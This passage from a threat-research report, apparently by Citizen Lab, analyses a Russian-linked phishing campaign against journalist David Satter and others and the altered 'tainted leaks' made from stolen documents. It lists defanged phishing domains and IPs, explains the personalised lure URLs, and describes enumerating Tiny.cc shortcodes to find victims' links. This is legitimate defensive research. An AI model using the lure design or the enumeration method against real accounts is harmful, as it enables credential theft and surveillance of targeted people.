+https://www.google.com/amp/tiny.cc/(redacted)
+Unfortunately, the ultimate destination of this shortened URL was changed to a benign
+webpage before we were able to examine this phishing email. However, as we will outline in
+Part 2 of this report, there is sufficient evidence available to suggest the original destination.
+Analysis of the email headers revealed that the message was sent with the Russian email
+service Yandex, using email account g.mail2017[@]yandex.com.
+A Second Phishing Email
+Two days later, on October 7, 2016, Satter received a second email that used an identical
+deception to the first attempt detailed above.
+9/43
+As with Email 1, the google.com/amp/ redirect pointed to a URL hosted by Tiny.cc. Once
+again, similar to Email 1, Citizen Lab found that the originally configured redirection target for
+this link had been removed.
+Analysis of the email headers in this second phishing attempt show that the message was sent
+with the web-based email service 
+mail.com
+, using email account annaablony[@]mail.com.
+Figure 5: Phishing Email 2
+Unauthorized Access
+On October 7 2016, shortly after receiving the email, Satter reports having clicked on the
+change password link in Email 2, and recalls being redirected to what he now realizes was in
+fact a credential phishing page which appeared to be a legitimate Google sign-in page.
+Unfortunately, Satter had temporarily disabled 2-factor authentication on his account, making
+the compromise possible.
+Shortly after entering his credentials, Satter
+s Gmail account activity page recorded an
+unauthorized login event. The data logged by Google indicated that the login session
+originated from an IP address in Romania (Figure 6). In Part 2 we will show that the server
+associated with this IP address was also hosting the fake Google login page where Satter
+submitted his account credentials. Thus it is likely that this malicious server was configured to
+automatically download the email contents from any compromised accounts (see Figure 7).
+10/43
+Figure 6: Screen grab from Google
+account activity page
+In Part 2 of this report we will outline how the
+phishing links sent to Satter led us to discover
+a much wider campaign that included 218
+distinct targets from government, industry,
+military, and civil society. In the following section, we provide context concerning the
+disinformation campaign that was conducted around material stolen from Satter
+s email
+account and published on the blog of CyberBerkut, a pro-Russian hacktivist collective.
+Figure 7: How a phishing campaign against Satter became a tainted leaks operation
+Analyzing a Tainted Leak
+This section compares an original document obtained by Citizen Lab with a tainted document
+published online, and used as part of a disinformation campaign. We describe the tainting in
+detail, and analyse the likely objective.
+Several documents from Satter
+s emails were posted by CyberBerkut at the same time without
+observable manipulation. However, one document showed extensive evidence of tainting. The
+tainted leak was a report authored by Satter describing Radio Liberty
+s Russian Investigative
+Reporting Project. The document was modified to make Satter appear to be paying Russian
+journalists and anti-corruption activists to write stories critical of the Russian Government.
+Importantly, we do not know the process through which the stolen document made its way
+from Satter
+s inbox to the CyberBerkut release. In the CyberBerkut version, the document is
+posted as screen-captures, and thus lacks metadata.
+11/43
+Figure 8: CyberBerkut post dated October 22, 2016 showing the narrative
+accompanying the tainted leak document (highlighted with arrow). [Archived copy]
+The original document lists a series of articles from Radio Liberty exclusively that are part of
+the project. The articles concern a range of topics: history, economics, and politics. Radio
+Liberty is a U.S. government international broadcaster, founded in 1951 to broadcast news and
+information into the Soviet Union. It merged with Radio Free Europe in 1976, who now
+together are incorporated as a 501(c)(3), funded and overseen by the United States
+Broadcasting Board of Governors.
+The tainted document modifies the text to appear to be a report on a much larger (nonexistant)
+project to pay for articles by a range of authors, which would subsequently be published by a
+range of media outlets. The deceptively inserted articles, almost all of which are genuine
+publications, focus on corruption within Putin
+s friends and inner circle. The work of Alexei
+Navalny, a prominent Putin critic, is repeatedly emphasized. The full tainted document is in
+Appendix A.
+Taint 1: Making reporting look like a secret influence operation
+The operators modified the document
+s scope in an attempt to create the appearance of a
+widespread media campaign. They did this by removing or modifying mentions of Radio Liberty
+throughout the document.
+Figure 9: Text in red was removed, creating the impression of a wide media campaign,
+not the programming of a specific news source.
+Other content, such as discussions of specific translators working for Radio Liberty are
+similarly removed to preserve the fiction.
+12/43
+Figure 10: The document was further tweaked to create the impression of a larger
+campaign. A note about a translator was also removed as it would contradict the
+impression
+We believe that by removing specific references to Radio Liberty, the perpetrators are aiming
+to give the impression of a broader subversive campaign not limited to a single news
+organization. Doing so allows the perpetrators to falsely associate non-US funded
+organizations, such as independent NGOs, to appear to be linked as part of this larger,
+fictitious program.
+Figure 11: Further tainting to remove mentions of Radio Liberty
+Finally, a clause is deleted at the end of the document concerning the risks of writing 
+without
+the protection of a full time job
+ (Figure 11). This deletion may simply be the tainters removing
+an inconvenient sentence that refers to Radio Liberty, but it also may be an attempt to make
+the activity look more 
+cloak and dagger.
+Taint 2: Discrediting specific journalists and Kremlin critics
+The original document included a list of 14 articles published as part of the Russian
+Investigative Project at Radio Liberty. The tainted document includes 24. The operators not
+only added to the list, but also tweaked the Radio Liberty articles to further the impression of a
+larger campaign.
+13/43
+Figure 12: Six of the ten added articles. All blue text was added to the original as part of
+the tainting. The objective is to make these reports appear to have been supported by
+the project.
+Ten additional articles were added. Although the original list of publications covered a
+variety of themes, the added set primarily focuses on issues of corruption, and the wealth of
+those in Putin
+s circle. The articles, written for a range of publications, all share a theme:
+corruption and personal enrichment by those close to Putin and the Russian Government (See
+Appendix A).
+14/43
+Figure 13: People and Topics of articles added in the tainting. Images: Wikipedia, Radio
+Free Europe, Reuters [click for hi-res]
+Of special interest are the insertions of Alexei Navalny, a prominent Russian anti-corruption
+activist and opposition figure whose work, and Anti-corruption Foundation, receives
+widespread domestic and international attention. By repeatedly adding his reporting to the
+document, the tainting creates the appearance of 
+foreign
+ funding for his work. This theme
+also figured prominently in the disinformation campaign surrounding the original publication, on
+October 22, 2016, of the tainted document by CyberBerkut (See: Disinformation Campaign
+Surrounding the Tainted Document).
+Taint 3: Claimed foreknowledge
+An article by Russian journalist Elena Vinogradova describing issues involving 
+senior Russian
+officials and businessmen
+ was also added as part of the tainting, which goes on to state that
+it will be published by Russian-language news service Vedomosti on October 24-25.4
+Figure 14: Tainting that suggests the operators had advanced knowledge of a news
+report
+15/43
+This timing is significant as the original CyberBerkut publication of the tainted document
+occurred on October 22 2016, slightly before this date.
+The apparent foreknowledge suggests that the individuals responsible for the tainting had
+advance knowledge of the content and publication date of a piece of investigative journalism,
+which may mean the operators had access to intelligence or surveillance reports concerning
+the activities of the Elena Vinogradova.
+We identified at least one individual among the set of targets of the phishing campaign whose
+account might have provided this information, however we were not able to confirm a
+compromise.
+Importantly, we were not able to find concrete evidence of the publication of an article
+matching the description added in the tainting. It is possible that existence of the article was a
+fabrication, or the result of misplaced speculation by the individuals responsible for the
+tainting.
+Taint 4: Modifying the Time Frame and Supporting Details
+The timeframe and number of publications are increased, perhaps to give the impression of a
+longer and more intense campaign. Changes are also made to accommodate a wide range of
+articles not published by Radio Liberty but by other parties.
+Figure 15: Dates and numbers changed to accommodate ten more articles
+Text that mentions specific dates in the original document that would not accommodate the
+articles that have been falsely added is also changed to support the new fiction.
+Disinformation Campaign Surrounding the Tainted Document
+The tainted version of the stolen document was released online by CyberBerkut, which
+represents itself as a group of pro-Russian hacktivists. CyberBerkut provided the framing
+narrative for the tainted document in a post on October 22, 2016: they were releasing the
+document to provide evidence that the United States was attempting to support a 
+colour
+revolution
+ in Russia. In the CyberBerkut narrative, David Satter was an agent directing the
+publication of articles critical of the Russian government.
+16/43
+Figure 16: RIA Novosti, Russia
+s state operated news agency, reporting the Cyber
+Berkut
+s release of the tainted leaks
+Russia
+s state operated news agency RIA Novosti, as well as Sputnik Radio, picked up the
+narrative, and gave voice to a number of sources who claimed that the 
+leak
+ was evidence
+that the United States Central Intelligence Agency (CIA) was attempting to foment a 
+colour
+revolution.
+ The document was cited in a RIA Novosti report as providing evidence of 
+over
+ reports intended to discredit the Russian president, and his entourage. The 
+colour
+revolution
+ narrative was echoed in this SM News report, and by Vesti.lv, among others.
+Meanwhile, other Russian-language sources claimed that the document discredited Navalny
+Anti-corruption Foundation by showing that its articles were actually ordered by David Satter.
+The Open Society Foundations Case
+In 2015, the Open Society Foundations (OSF) experienced a breach of confidential data.
+17/43
+Materials from this breach were released by CyberBerkut in November 2015 and, much later,
+on the 
+leak
+ branded site DC Leaks, alongside a wide range of materials stolen from other
+organizations. DC Leaks worked directly with some online outlets, and provided exclusive
+access to their materials to some, as well as achieving substantial media impact.
+The redundant releases enable a comparison of documents between the two leaks using
+public materials. The DC Leaks dump included the release of untainted stolen documents that
+had been previously released as part of a tainted leak by Cyber Berkut. An article in Foreign
+Policy used this dump to identify several cases of leak tainting. We were able to verify each of
+their observations, as well as identifying additional elements of tainting.
+We then contacted OSF
+s IT staff, who provided us with the original genuine documents which
+we were able to use as the basis for further comparisons, and to authenticate the documents
+posted on DC Leaks. Taken together, the tainting appears designed to create the impression
+that several groups and media outlets, including Alexei Navalny
+s Foundation for Fighting
+Corruption, are supported by OSF.
+As with the Satter case, the tainting appears to have a primarily domestic focus, and to be
+aimed at de-legitimizing figures like Navalny by making it appear that they are the recipients of
+illicit, foreign funding. This is a view that Navalny, one of the targets of the tainting, has also
+expressed to Foreign Policy.
+A Budget Document
+First, CyberBerkut released a tainted budget document to make it appear as if OSF was
+funding Alexei Navalny
+s Foundation for Fighting Corruption.
+Figure 17: Tainted Budget Document: the second row was added to make it appear as if
+OSF was funding Navalny
+s Foundation for Fighting Corruption
+The tainters may have been working quickly, resulting in a small error, in which a dollar amount
+was substituted for 
+Approved Date.
+Proposed Strategy Document
+Second, a proposed funding strategy document was similarly modified to include the
+Foundation for Fighting Corruption in a list of groups to receive OSF support.
+18/43
+Figure 18: Proposed Strategy Document showing the location where the tainted
+document is modified to include mention of the Foundation for Fighting Corruption
+The tainting resumed later in the document, when several media outlets (Echo Moscow,
+RosBusinessConsulting, and Vedomosti) were also added to the document, apparently to
+create the perception that they had received the support of OSF.
+Figure 19: A second section in the same document showing once more how several
+media outlets, including Echo Moscow, RosBusinessConsulting, and Vedomosti have
+been added.
+The second instance of tainting in the strategy document also introduced a slight grammatical
+error when the tainters neglected to remove 
+ before changing 
+news site
+ to the plural
+news sites.
+Document Addressing the NGO Law
+Finally, in a document addressing grantees and Russia
+s NGO law, tainting was again
+performed to add Navalny
+s Foundation for Fighting Corruption. The tainting also purported to
+show the foundation receiving money via Yandex, a widely-used Russian platform offering an
+online payment service.
+19/43
+Figure 20: Tainted document, once more showing the addition of Navalny
+s Foundation
+for Fighting Corruption
+Taken together, both the tainted document stolen from David Satter, and the tainted OSF
+documents paint a picture of a competent adversary working to achieve several objectives,
+including discrediting domestic critics of Russia
+s government and president, while
+simultaneously attempting to embarrass foreign funders with activities in Russia. In Part 4 we
+discuss the significance of tainted leaks as a disinformation technique.
+Part 2: A Tiny Discovery
+Beginning with the shortened link sent to David Satter, we identified a predictable feature in
+how the link shortener (Tiny.cc) generated its shortened URLs. This enabled us to identify over
+200 additional targets of the same operation described in Part 1. This section describes the
+process used to enumerate these targets, and further describes the links between this
+operation and other publicly-reported Russian-linked phishing campaigns.
+In September 2016, ThreatConnect published a blog post documenting phishing attempts
+against contributors to the citizen journalism website Bellingcat and its founder Eliot Higgins.
+The targeted contributors were actively engaged in reporting on the Russian involvement in the
+July 17, 2014 downing of Malaysia Airlines Flight 17. ThreatConnect attributed these intrusion
+attempts to Fancy Bear (aka APT28), a threat actor widely believed to be directly linked to the
+Russian government. In an October update to this post, ThreatConnect documented an
+additional spear phishing attempt against a Bellingcat contributor.
+This latest credential phishing attempt was largely similar to the first email sent to David Satter
+(see Part 1, The Case of David Satter). Both emails were sent at 10:59am EST using the same
+sending address: g.mail2017[@]yandex.com. In addition, both shared a fake Gmail footer that
+was distinctively modified from Gmail
+s original footer.
+20/43
+Figure 21: Footer from the phishing emails sent to Bellingcat and David Satter showing
+a distinctive misspelling (possibly to avoid spam filtering)
+In both cases the malicious links embedded in these phishing emails were configured to
+redirect the targets to addresses hosted on the URL shortening service Tiny.cc. As
+ThreatConnect showed, the Tiny.cc link used against the Bellingcat contributor actually
+redirected the victim to another shortened URL, this one hosted by a different shortening
+service: TinyURL.com. Ultimately, this series of link redirections led to a malicious credential
+phishing page hosted at the following URL:
+hxxp://myaccount.google.com-changepasswordsecuritypagesettingmyaccountgooglepagelogin.id833[.]ga
+Table 1: Domain hosting the credential phishing page
+Using PassiveTotal, we examined the historic DNS resolution data for this domain name. The
+results revealed that at the time of these phishing attempts, the domain id833[.]ga resolved to
+IP address 89.40.181[.]119 
+ the same Romanian IP address used to access David Satter
+email account on October 7 (see Part 1, The Case of David Satter).
+This evidence suggests that the Bellingcat contributor and David Satter were both targeted by
+the same spear phishing campaign; this linkage will be explored further in the next section.
+Tiny.cc Enumeration
+In examining the Tiny.cc shortened URLs found within the spear phishing emails sent to David
+Satter, we became curious as to the structure of how such links were constructed.
+Tiny.cc provides a shortening service which allows users to create succinct URLs that redirect
+to some defined, usually long, website address. By way of example, we created a Tiny.cc
+shortened URL which redirects to a recent Citizen Lab report:
+http://tiny.cc/bj87iy -> https://citizenlab.ca/2017/02/bittersweet-nso-mexico-spyware/
+In this example, the Tiny.cc shortcode would be bj87iy. In the Tiny.cc application back-end
+database, this hash uniquely resolves to the target address of:
+https://citizenlab.ca/2017/02/bittersweet-nso-mexico-spyware/
+After conducting tests, we determined that these shortcodes are assigned in a sequential
+manner. For example, using the Tiny.cc API call for creating a shortened URL, we
+programmatically generated 8 links with a one-second delay between each call. The resulting
+shortcodes generated (in order) were as follows:
+21/43
+63q6iy
+73q6iy
+93q6iy
+e4q6iy
+p4q6iy
+r4q6iy
+t4q6iy
+24q6iy
+After conducting numerous similar tests, we determined that shortcodes constructed within
+small temporal windows would be lexically close in the sense of the following 
+base36
+alphabet
+ sequence:
+a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9
+Successive shortcodes are constructed by iterating the leftmost character through this base36
+alphabet. Once all 36 characters have been exhausted, this leftmost character reverts to the
+initial value of 
+, with the second character then iterating one position according to the same
+alphabet. This iterative process continues for each position of the shortcode (see Figure 22),
+enabling us to consider the shortcodes as a sort of base36 
+counter
+Figure 22: Enumerating the base36 shortcodes used by tiny.cc
+Given this understanding of the shortcode design, we can measure the notional 
+distance
+between any pair of shortcodes. For example, the distance between the shortcodes bj87iy
+and cj87iy would be 1, and the distance between bj87iy and bk87iy would be 36.
+22/43
+This distance measurement gives an idea of how close two shortcodes are, and thus by
+extension, how close in time they were generated. We will revisit this notion of distance below.
+Using this design knowledge, we considered the Tiny.cc shortcodes found in the October 5 and
+7 phishing emails sent to David Satter. Using these as a starting point, we enumerated
+approximately 4000 adjacent shortcodes for each, and then examined the target web
+addresses to which these short links redirected. From this large list, we extracted all of the
+associated destination links (see Figure 23) which redirected to the malicious phishing domain
+described above in Table 1.
+Figure 23: Some of the phishing links discovered during enumeration of the Tiny.cc
+shortcodes
+This enumeration led us to discover evidence suggesting that David Satter and the unnamed
+Bellingcat journalist were but two targets of a much larger credential phishing campaign.
+Notably, as mentioned above in Part 1: A Second Phishing E-mail, when we checked the
+particular Tiny.cc shortcode received by Satter, the unshortened link to the phishing page had
+been replaced with a benign URL: myaccount.google[.]com.
+We were unable to conclusively determine the reason for this substitution. One theory
+suggests that the campaign operators mistakenly shortened incorrect destination URLs, while
+another posits that once the operators had successfully compromised a target
+s account, they
+would inoculate the Tiny.cc link provided in the phishing email. Indeed, in the same batch of
+enumerated shortcodes from the October campaign, we found four additional shortcodes which
+also pointed to myaccount.google[.]com.
+Decoding the targets
+We examined the 
+unshortened
+ URLs of shortcodes that were adjacent to the one sent to
+Satter, and discovered 25 distinct destination addresses of the form:
+https://www.google.com/amp/tinyurl.com/(redacted)
+These addresses were redirects which leveraged the previously mentioned, Google-hosted,
+open redirect page (google.com/amp/) to send a user to a link on the TinyURL.com shortening
+service. In every case, these TinyURL.com links were each designed to send their intended
+23/43
+victims to a tailored version of the following, fake, Gmail login page:
+hxxp://myaccount.google.com-changepasswordsecuritypagesettingmyaccountgooglepagelogin.id833[.]ga/security/signinoptions/password
+This domain, discussed above and noted in Table 1, at the time the phishing emails were sent,
+resolved to the Romanian IP address used to access Satter
+s Gmail account (see Part 1).
+In order to bolster the social engineering aspect of these fake Gmail login pages, the operator
+used a series of base64-encoded URL parameter values in order to display the target
+s email
+address, and in some cases the target
+s name and Google profile image, into the appropriate
+fields on the fake login page.
+Figure 24: TinyURL preview of a second level redirect of a phishing link
+The following example URL illustrates the use of these parameters (Figure 25):
+24/43
+Figure 25: URL parameter decoding from a phishing link
+By virtue of this pattern of URL parameters, we were able to determine the precise target of
+each of the phishing links we discovered during our enumeration process. The significance of
+this pattern of URL parameters will be revisited below in Part 3.
+Digging Deeper
+Extending the search for suspicious URLs by fully enumerating the entire six-character
+shortcode sequence space in the above manner proved to be intractable. 5 However, the same
+ThreatConnect report discussed above also documented a previous APT28-attributed phishing
+attempt against Bellingcat journalist Aric Toler. On June 16, 2016, Toler was sent a strikingly
+similar Google-themed phishing email containing a Tiny.cc shortcode. Following the same
+process outlined above, we enumerated the shortcodes adjacent to the one published by
+ThreatConnect.
+In doing so, we discovered another group of targets 
+ 198 target email addresses in total. In
+this earlier campaign, the unshortened URLs pointed directly to the likely phishing page
+(Figure 26):
+Figure 26: URL parameters in June campaign against Aric Toler
+Notably, these links appear to be hosted on the Google Blogger service, and while these
+pages were already taken offline when we attempted to examine them, the same characteristic
+URL parameterization can be observed.
+25/43
+A brief analysis of the target list associated with these two campaigns is provided above (see
+Pandora
+s Un-Shortening: Civil Society Targets Emerge).
+Testing the Lure
+We measured the distance between successive malicious Tiny.cc shortcodes seen in the June
+and October campaigns (Figure 27). In doing so, we observed fairly consistent distances
+between the shortcodes, perhaps indicating that the operators were generating these links via
+an automated process. However, one shortcode stood out, and we suspected this may have
+been a manual operator test.
+Figure 27: The anomalous distance of 305 immediately stood out from the average of
+8.2, drawing our attention to the shortened link
+According to the parameters obtained from the phishing URL associated with this anomalous
+shortcode, we were able to decode the Gmail account targeted with this phishing link:
+26/43
+Parameter
+Result after decoding
+Email Address
+myprimaryreger[@]gmail.com
+Full Name
+Google+ Profile Picture
+Table 2: URL parameter values decoded
+This Google account, myprimaryreger[@]gmail.com, was also used in the registration of at
+least one other domain name which was linked in prior research to known or suspected APT28
+activity. Such connections, while circumstantial, further support the link to Russia-based threat
+actors.
+In Appendix B we provide a brief description of why we think the account is being used by the
+operator, and how the account uses Google Plus posts to embed images into phishing e-mails.
+Part 3: Connections to Publicly Reported Operations
+This section outlines the connections and overlaps between the operation described in this
+report and other, publicly-reported Russian-affiliated cyber espionage campaigns.
+The operator test uncovered during our enumeration of the Tiny.cc shortcodes (see Testing
+the Lure above), provides a circumstantial link to APT28, however there are other potential
+links. In this section, we outline other comparisons between this campaign and other publicly
+reported operations that have a Russian nexus. We identify marked similarities to a collection
+of phishing links now attributed to one of the most publicly visible information operations in
+recent history: the targeting of the 2016 US Presidential Campaign.
+A Bit More Abuse
+The phishing URLs in this campaign were encoded with a distinct set of parameters using
+base64. When clicked, the links provided key information about the targets to the phishing
+website. An identical approach to parameters and encoding (see Figure 28 below) has been
+seen before: in the March 2016 phishing campaign that targeted Hillary Clinton
+s presidential
+campaign and the Democratic National Committee. This similarity suggests possible code reuse: the two operations may be using the same phishing 
+The campaign that targeted the DNC also included the same Google security-themed phishing
+ruse, and abused another URL shortening service, Bit.ly. In June 2016 Dell SecureWorks
+published a report attributing the operation to APT28, a threat actor routinely associated with
+27/43
+the Russian government.
+SecureWorks researchers were able to enumerate and analyze the targets of this campaign,
+thus allowing them to describe the victimology:
+individuals in Russia and the former Soviet states, current and former military and government
+personnel in the U.S. and Europe, individuals working in the defense and government supply
+chain, and authors and journalists 
+ but also included email accounts linked to the November
+2016 United States presidential election
+This victimology strikes an immediate parallel to the target listing we have uncovered in our
+enumeration of the Tiny.cc URLs.
+Figure 28: Bitly link and ultimate phishing page address sent to John Podesta, former
+chairman of the Hillary Clinton presidential campaign, in March 2016
+Domain Schema Commonalities
+We found similarities in domain naming, and subdomain structures, between this campaign
+and operations linked to APT28.
+The domain used in the campaign targeting Satter was id833[.]ga. At the time of the
+campaign, this domain name was pointed to a server at IP address 89.40.181[.]119. Using
+PassiveTotal, we observed other domain names sharing a similar naming scheme also
+directed at this IP: id834[.]ga, and id9954[.]gq. While we did not observe any phishing links
+for these alternate domains, there were identical subdomains registered for both:
+Domain
+Sub-Domain
+id833[.]ga
+myaccount.google.com-changepassword-securitypagesettingmyaccountgooglepagelogin
+id834[.]ga
+myaccount.google.com-changepassword-securitypagesettingmyaccountgooglepagelogin
+id9954[.]gq
+myaccount.google.com-changepassword-securitypagesettingmyaccountgooglepagelogin
+This domain / subdomain naming schema is also extremely close to one featured in
+Mandiant
+s 2017 M-Trends report, in a phishing operation, linked to APT28, which targeted
+OAuth tokens in an effort to obtain persistent access to a victim
+s Google account, and to
+28/43
+bypass the security of two-factor authentication.
+Domain linked to this campaign:
+myaccount.google.com-changepasswordsecuritypagesettingmyaccountgooglepagelogin.id833[.]ga
+Domain mentioned by Mandiant, linked to APT28:myaccount.google.comchangepassword-securitypagesettingmyaccountgooglepage.id4242[.]ga
+The similarities in naming and subdomain structure are immediately apparent. The two
+domains (id833[.]ga and id4242[.]ga) also share a common name server. However, we were
+not able to find specific registration overlaps between the domains or servers.
+Furthermore, during the campaign period, the domain identified by Mandiant, id4242[.]ga
+resolved to 89.32.40[.]238. This IP also resolves to a range of other suspicious domains with
+highly similar naming schemas to those connected to the infrastructure used against Satter.
+The link used to phish John Podesta, as depicted above, also shares distinct naming and
+subdomain similarities with domains linked to the phishing operation against Satter (see Figure
+28):
+Domain targeting Podesta, linked to APT28: hxxp://myaccount.google.comsecuritysettingpage[.]tk
+During the campaign in March 2016, this domain was hosted at IP address 80.255.12[.]237
+Publications from numerous private industry groups attribute 89.32.40[.]238 and
+80.255.12[.]237 (as well as related domains) to APT28. While we are able to point out that
+there are significant commonalities in domain naming and subdomain structure between the
+campaign targeting Satter and domains linked to these IPs, we are not able to make a more
+conclusive technical link to APT28.
+While industry groups as well as the U.S. government have publicly connected APT28 with
+Russian state actors, we are not able to use infrastructure analysis alone to conclusively
+connect the operation against Satter to a particular state sponsor. Connecting this
+infrastructure to a specific government would require additional evidence which is not, to our
+knowledge, available in the public domain.
+The Challenge of Attribution
+While the order of events surrounding the phishing, credential theft, and eventual leak of
+tainted documents belonging to David Satter would seem to point to CyberBerkut, the
+characteristics of Russian information operations make the task of attribution to a state
+sponsor challenging. As a consequence, there is no 
+smoking gun
+ connecting the evidence
+we have assembled to a particular Russian government agency, despite the overlaps between
+our evidence and that presented by numerous industry and government reports concerning
+Russian-affiliated threat actors.
+Addressing the topic of attribution requires nuance and appreciation of the unique character of
+29/43
+Russian cyber espionage: its deliberate cultivation of organized criminal groups as proxy
+operators, and the high number of independently operating, overlapping, and sometimes
+competing spy agencies and security services all of whom work within a broad culture of barely
+concealed corruption. As one study on Russia notes, Russia
+s many security agencies 
+granted considerable latitude in their methods, unconstrained by the concerns of diplomats or
+the scrutiny of legislators.
+Russia
+s approach to the use of proxy actors in the criminal underworld in particular is
+informed by a very elaborate strategy around information operations and control. Although this
+strategy has roots that go back deep into Soviet (and even earlier Russian) history, it was more
+fully elaborated as a component of hybrid warfare, also known as the Gerasimov doctrine or
+non-linear warfare,
+ and infused with deeper resources after the 
+color revolutions,
+ the 2011
+Moscow protests, and upon reflection of the events of the Arab Spring. The overall Russian
+approach has been described as a form of 
+guerrilla geopolitics
+ in which 
+a would-be great
+power, aware that its ambitions outstrip its military resources, seeks to leverage the
+methodologies of an insurgent to maximise its capabilities.
+ Cultivating organized criminal
+groups is a fundamental component of this approach, as evidenced in the annexation of
+Crimea which was undertaken in coordination with criminal elements who provided 
+political
+and military muscle.
+ Russian security officers are also known to routinely dabble in the
+proceeds of underworld criminal operations for illicit revenue of their own, and as a result can
+even prioritize criminal over national security concerns.
+In the digital arena, this doctrine is manifest in the cultivation of Internet-focused organized
+criminal groups who operate partially on behalf of or in support of the Putin regime, and
+partially oriented around their own pecuniary gain in online financial fraud and other schemes.
+There is evidence Russian hackers are being given wide latitude to undertake criminal
+activities as long as it conforms to Russian security agencies
+ wishes. Multiple Russianaffiliated operators could compromise the same target unwittingly and without seeming
+coordination. This 
+piling on
+ around a target further complicates attribution. This
+complex proxy strategy, as well as the multiple, competing agencies behind the proxies, is
+often lost or overlooked when companies and government agencies jump quickly to attribution
+around Russian cyber espionage.
+While it is possible that a proxy actor is implementing the front-end collection component of the
+phishing campaign we are describing, the scale of the targeting also suggests a wellresourced actor, such as a nation state. The thread linking all of the targets is their connection
+to issues that the Russian government cares about. The targets are people whose positions or
+activities give them access to, or influence over, sensitive information of specific interest to
+Russia. This links an otherwise extremely diverse target set, which ranges from domestic
+Kremlin critics and journalists, to anti-corruption investigators, foreign government personnel,
+and businesspeople.
+The data collected from such a campaign would come in more than a dozen languages, and
+concern a diverse range of political, military, and policy issues from at least 39 countries and
+28 governments. In addition, such a campaign would be likely to generate large volumes of
+30/43
+data. For this reason, a professionalized, well-resourced operator would be needed for any
+effective post-collection analysis of the stolen data. Even greater resources would be required
+to analyse, and in some instances carefully modify in a short timeframe, the contents of stolen
+email and cloud-storage accounts for the purposes of seeding disinformation via tainted leaks.
+The diversity and presumed cost of analyzing the stolen data along with the clear Russian
+nexus for the targets is only circumstantial evidence of a Russian connection. It should be
+evaluated in the context of the other pieces of circumstantial evidence we present, including
+the overlaps in tactics with known Russia-linked actors, and the prominent role of
+CyberBerkut.
+Part 4: Discussion
+In this section, we examine the troubling relationship between espionage and disinformation,
+particularly in its latest digital manifestation, and elaborate on how civil society is particularly at
+risk from such new tactics.
+Tainted Leaks: A New Trend
+The recent theft and disclosure of documents (branded as a 
+leak
+) from the presidential
+campaign of Emmanuel Macron is the highest profile case in which it appears that falsified
+documents were inserted amongst real, stolen documents. The documents falsely implied a
+range of improper or questionable activities. The false stories implied by these documents
+were then highlighted in campaigns promoted with twitter bots and other techniques. The leakbranded release had followed the release, several days earlier, of a quickly-debunked story,
+supported by falsified documents, alleging that Macron held foreign bank accounts.
+In the case of the leak-branded releases during the 2016 US presidential election, the publiclyavailable evidence connecting these releases with Russian-affiliated cyber operations is
+largely circumstantial, but compelling. It is reported, and highly probable, that stronger
+evidence is available in classified venues. Building on initial reports by Trend Micro that the
+Macron campaign was targeted by APT28,
+ follow-up reports have pointed to Russian
+involvement in the breach, and the tainted leaks.
+The Macron case continues to develop, and many elements are still uncertain, including
+whether the Macron campaign was deliberately seeding their own communications with false
+documents, intended to slow down operators
+ analysis pipeline. However, it is not the first case
+in which evidence or claims of tainted leaks have surfaced.
+Documents stolen from the Open Society Foundations, which had been the victim of a breach,
+were modified and then released in a tainted leak by CyberBerkut in a post dated November
+21 2015. The tainting included careful alterations, such as modifying budget documents, to
+make it appear that certain Russian civil society groups were receiving foreign funding. The
+case became publicly visible because elements of the same stolen set were re-released on the
+leak-branded website 
+DC Leaks,
+ without the tainting.
+31/43
+In the case of David Satter, whose personal email accounts had similarly been breached, and
+then tainted, materials were edited, spliced, and deleted, while new text was added.
+Fiction was added to fact to create a hybrid 
+tainted leak.
+ The tainted leak told a series of
+new, false stories, intended not only to discredit Satter, but to support domestic narratives
+familiar to many Russians: of foreign interference, and of a foreign hand behind criticism of the
+government.
+Falsehoods in a Forest of Facts
+Recent leaks by genuine whistleblowers, as well as 
+leak
+-branded releases of materials stolen
+by cyber espionage operations (e.g. 
+DC Leaks
+ or 
+Macron Leaks
+) are appealing because
+they appear to provide an un-filtered peek at people speaking privately. Like an intercepted
+conversation, they feel closer to the 
+truth,
+ and may indeed reveal unscripted truths about
+people and institutions. It is hard not to be curious about what salacious details might be
+contained within them. In the 2016 United States presidential election, it was evident that the
+release, although clearly intended to influence the election, was viewed by most media
+organizations as having intrinsic newsworthiness, and thus the contents of leaks were often
+quickly amplified and repeated.
+The potential of leaks to attract attention makes large dumps of stolen materials fertile ground
+for tainting. A carefully constructed tainted leak included in a set of real stolen material is
+surrounded by documents that, by juxtaposition, indirectly signal that it is legitimate. This could
+help the tainted leak survive initial scrutiny by reporters and others seeking corroboration.
+Coupled with a media strategy, or social-media amplification campaign that selectively
+highlights the fake or the narrative that the fake supports, leak tainting poses a serious problem
+to both the victim of the breach, and whoever is implicated by the disinformation.
+The spread of disinformation can contribute to cynicism about the media and institutions at
+large as being untrustworthy and unreliable, and can cultivate a fatigue among the population
+about deciphering what is true or not. By propagating falsehoods, the aim is not necessarily to
+convince a population that the falsehood is true (although that outcome is desirable) but rather
+to have them question the integrity of all media as equally unreliable, and in doing so 
+foster a
+kind of policy paralysis.
+Tainted Leaks Place a Unique Burden on Breach Victims
+Should a tainted document gain traction, there is a burden on the victim of the disinformation to
+prove that the leaks are not genuine. This challenge may be difficult. Victims of breaches may
+be unable, unwilling, or forbidden to release original documents. Moreover, they may not wish
+to be drawn into fact-checking their own stolen data. This problem is likely to be especially true
+if the operators behind the tainted leaks have chosen documents that are themselves
+sensitive.
+A Russian anti-corruption activist whose name has been seeded into such sensitive reports
+may not be able to convince the original victim of the breach to release the authentic
+document. Indeed, such a person may not even be able to determine exactly which parts of
+32/43
+the document are real, and which are fake, beyond what they know to be true about
+themselves.
+Meanwhile, members of the public do not have the ability to carefully verify the integrity of
+such dumps, either as a whole, or specific documents within them. Indeed, even journalists
+reporting on accusations or falsehoods may be unable to obtain explicit confirmation of which
+exact material has been faked. If a tainted document is carefully constructed from real,
+verifiable elements, it may be especially difficult to identify as a fake. Even if journalists do the
+hard digging and analysis, they may not be able to publish their results in a timely enough
+fashion to matter. By the time their work is complete, the false information may have
+embedded itself into the collective consciousness.
+Disinformation can persist and spread unless concerted measures are taken to counter it.
+Even more insidious is the fact that studies have found that attempts 
+to quash rumors
+through direct refutation may facilitate their diffusion by increasing fluency.
+ In other words,
+efforts to correct falsehoods can ironically contribute to their further propagation and even
+acceptance.
+Not all tainted leaks work as intended to cause maximum harm. Almost immediately following
+the 
+Macron Leaks,
+ the Macron campaign responded quickly, and stated that the 
+leaks
+included fakes. In the fast-moving media environment in the days before voting, this move may
+have led to uncertainty about the factual nature of the release in the minds of many journalists,
